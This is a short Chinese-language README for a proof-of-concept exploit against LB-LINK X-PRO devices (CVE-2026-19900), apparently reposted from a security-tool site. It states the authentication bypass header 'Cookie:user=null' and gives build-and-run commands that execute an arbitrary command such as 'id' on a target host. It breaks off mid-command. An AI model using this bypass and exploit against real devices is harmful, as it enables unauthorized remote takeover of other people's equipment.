cve-2026-19900-PoC

CVE-2026-19900 LB-LINK X-PRO 通过 null 用户绕过身份验证并实现远程代码执行 CVE-2026-19900 通过 null 用户实现硬编码凭据、身份验证绕过及远程代码执行。 通过请求头绕过： Cookie:user=null 使用方法 构建并针对目标主机运行脚本： root@kitploit: go build cve-2026-19900-PoC.go ./cve-2026-19900-PoC -t http://target:8080/ -c "id" 无需构建直接运行 root@kitploit: go run cve-2026-19900-PoC....